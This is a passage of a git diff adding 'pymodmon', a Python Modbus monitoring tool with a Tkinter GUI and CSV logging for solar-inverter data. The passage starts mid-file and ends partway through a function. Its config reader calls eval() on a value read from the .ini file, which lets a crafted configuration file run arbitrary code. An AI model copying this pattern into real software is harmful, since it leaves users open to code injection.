self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + 